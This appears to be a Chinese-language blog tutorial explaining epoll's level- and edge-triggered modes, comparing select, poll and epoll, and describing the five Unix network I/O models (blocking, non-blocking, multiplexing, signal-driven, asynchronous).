epoll除了提供select/poll那种IO事件的水平触发(Level Triggered)外,还提供了边缘触发(Edge Triggered),这就使得用户空间程序有可能缓存IO状态,减少epoll_wait/epoll_pwait的调用,提高应用程序效率。

  • 水平触发(LT):默认工作模式,即当epoll_wait检测到某描述符事件就绪并通知应用程序时,应用程序可以不立即处理该事件;下次调用epoll_wait时,会再次通知此事件
  • 边缘触发(ET): 当epoll_wait检测到某描述符事件就绪并通知应用程序时,应用程序必须立即处理该事件。如果不处理,下次调用epoll_wait时,不会再次通知此事件。(直到你做了某些操作导致该描述符变成未就绪状态了,也就是说边缘触发只在状态由未就绪变为就绪时只通知一次)。

LT和ET原本应该是用于脉冲信号的,可能用它来解释更加形象。Level和Edge指的就是触发点,Level为只要处于水平,那么就一直触发,而Edge则为上升沿和下降沿的时候触发。比如:0->1 就是Edge,1->1 就是Level。

ET模式很大程度上减少了epoll事件的触发次数,因此效率比LT模式下高。

总结

一张图总结一下select,poll,epoll的区别:

selectpollepoll
操作方式遍历遍历回调
底层实现数组链表哈希表
IO效率每次调用都进行线性遍历,时间复杂度为O(n)每次调用都进行线性遍历,时间复杂度为O(n)事件通知方式,每当fd就绪,系统注册的回调函数就会被调用,将就绪fd放到readyList里面,时间复杂度O(1)
最大连接数1024(x86)或2048(x64)无上限无上限
fd拷贝每次调用select,都需要把fd集合从用户态拷贝到内核态每次调用poll,都需要把fd集合从用户态拷贝到内核态调用epoll_ctl时拷贝进内核并保存,之后每次epoll_wait不拷贝

epoll是Linux目前大规模网络并发程序开发的首选模型。在绝大多数情况下性能远超select和poll。目前流行的高性能web服务器Nginx正式依赖于epoll提供的高效网络套接字轮询服务。但是,在并发连接不高的情况下,多线程+阻塞I/O方式可能性能更好。


既然select,poll,epoll都是I/O多路复用的具体的实现,之所以现在同时存在,其实他们也是不同历史时期的产物

  • select出现是1984年在BSD里面实现的
  • 14年之后也就是1997年才实现了poll,其实拖那么久也不是效率问题, 而是那个时代的硬件实在太弱,一台服务器处理1千多个链接简直就是神一样的存在了,select很长段时间已经满足需求
  • 2002, 大神 Davide Libenzi 实现了epoll

[I/O多路复用]Select Poll & Epoll

第一步先理解 阻塞/非阻塞/同步/异步. 其实计算机当中的很多概念并不只是从操作系统中衍生出来,各个领域都会有大致相同,但实则定义不一致的概念.就比如网路和操作系统的概念区别.

Unix网络编程中的五种IO模型

  • Blocking IO - 阻塞IO
  • NoneBlocking IO - 非阻塞IO
  • IO multiplexing - IO多路复用
  • signal driven IO - 信号驱动IO
  • asynchronous IO - 异步IO

这里讨论的主要是网络编程中的.同时signal driven主要是thread,直接处理IO的操作不多,所以这里不做讨论.

首先对于一个 network IO,就涉及到两个概念

  • application 调用这个IO的进程
  • kernel 系统内核

那他们经历的两个交互过程是:

  • 阶段1 wait for data 等待数据准备
  • 阶段2 copy data from kernel to user 将数据从内核拷贝到用户进程中

这大致和操作系统中的 thread_block 思路一致, 整个实现就是冲走了一遍 lock 机制. 不过就如同操作系统需要很多不同的机制来应对不同的问题,从而产生了Hoarne & Mesa Monitor Semaphore & Condition. 虽然四者可以互相实现,但是工程上需要做区分.

首先是Blocking IO, 又称阻塞IO. 在 linux 中,默认情况下所有的 socket 都是 blocking,一个典型的读操作流程大概如下图:

当用户进程调用了 recvfrom 这个 syscall, kernel 就开始了 IO 的第一个阶段,也就是收集数据, 对于network IO 来说,很多时候数据一开始还没有到达(比如,还没有收到一个完整的udp包),这个时候kernel 就要等待足够多的时间来.而在用户进程这里,整个进程都会被阻塞. 当kernel 一致等到数据准备好的时候,它就会从kernel中拷贝到用户内存.然后kernel 返回结果.用户进程才会接触block的状态,重新运行起来.

所以,blocking IO 的特点就是在IO执行的两个阶段就被block了.

这里与操作系统最大的区别就是network IO的延时通常比system 的数据流延时慢很多个时钟周期. 在操作系统中Blocking IO 一般是tick priority trigger 的.

其次是NoneBlockingIO,又称非阻塞IO

linux下,可以通过设置socket使其变为non-blocking。当对一个non-blocking socket执行读操作时,流程是这个样子:

从图中可以看出,当用户进程发出recvfrom这个系统调用后,如果kernel中的数据还没有准备好,那么它并不会block用户进程,而是立刻返回一个结果(no datagram ready)。从用户进程角度讲 ,它发起一个操作后,并没有等待,而是马上就得到了一个结果。用户进程得知数据还没有准备好后,它可以每隔一段时间再次发送recvfrom操作。一旦kernel中的数据准备好了,并且又再次收到了用户进程的system call,那么它马上就将数据拷贝到了用户内存,然后返回。

所以,用户进程其实是需要不断的主动询问kernel数据好了没有。

I/O多路复用(multiplexing)是网络编程中最常用的模型,像我们最常用的select、epoll都属于这种模型。以select为例:

看起来它与blocking I/O很相似,两个阶段都阻塞。但它与blocking I/O的一个重要区别就是它可以等待多个数据报就绪(datagram ready),即可以处理多个连接。这里的select相当于一个“代理”,调用select以后进程会被select阻塞,这时候在内核空间内select会监听指定的多个datagram (如socket连接),如果其中任意一个数据就绪了就返回。此时程序再进行数据读取操作,将数据拷贝至当前进程内。由于select可以监听多个socket,我们可以用它来处理多个连接。

在select模型中每个socket一般都设置成non-blocking,虽然等待数据阶段仍然是阻塞状态,但是它是被select调用阻塞的,而不是直接被I/O阻塞的。select底层通过轮询机制来判断每个socket读写是否就绪。

当然select也有一些缺点,比如底层轮询机制会增加开销、支持的文件描述符数量过少等。为此,Linux引入了epoll作为select的改进版本。

异步I/O在网络编程中几乎用不到,在File I/O中可能会用到:

这里面的读取操作的语义与上面的几种模型都不同。这里的读取操作(aio_read)会通知内核进行读取操作并将数据拷贝至进程中,完事后通知进程整个操作全部完成(绑定一个回调函数处理数据)。读取操作会立刻返回,程序可以进行其它的操作,所有的读取、拷贝工作都由内核去做,做完以后通知进程,进程调用绑定的回调函数来处理数据。

总结

我们来总结一下阻塞、非阻塞,同步和异步这两组概念。

先来说阻塞和非阻塞:

  • 阻塞调用会一直等待远程数据就绪再返回,即上面的阶段1会阻塞调用者,直到读取结束。
  • 而非阻塞无论在什么情况下都会立即返回,虽然非阻塞大部分时间不会被block,但是它仍要求进程不断地去主动询问kernel是否准备好数据,也需要进程主动地再次调用recvfrom来将数据拷贝到用户内存。

再说一说同步和异步:

  • 同步方法会一直阻塞进程,直到I/O操作结束,注意这里相当于上面的阶段1,阶段2都会阻塞调用者。其中 Blocking IO - 阻塞IO,Nonblocking IO - 非阻塞IO,IO multiplexing - IO多路复用,signal driven IO - 信号驱动IO 这四种IO都可以归类为同步IO。
  • 而异步方法不会阻塞调用者进程,即使是从内核空间的缓冲区将数据拷贝到进程中这一操作也不会阻塞进程,拷贝完毕后内核会通知进程数据拷贝结束。

下面的这张图很好地总结了之前讲的这五种I/O模型(来自Unix Network Programming)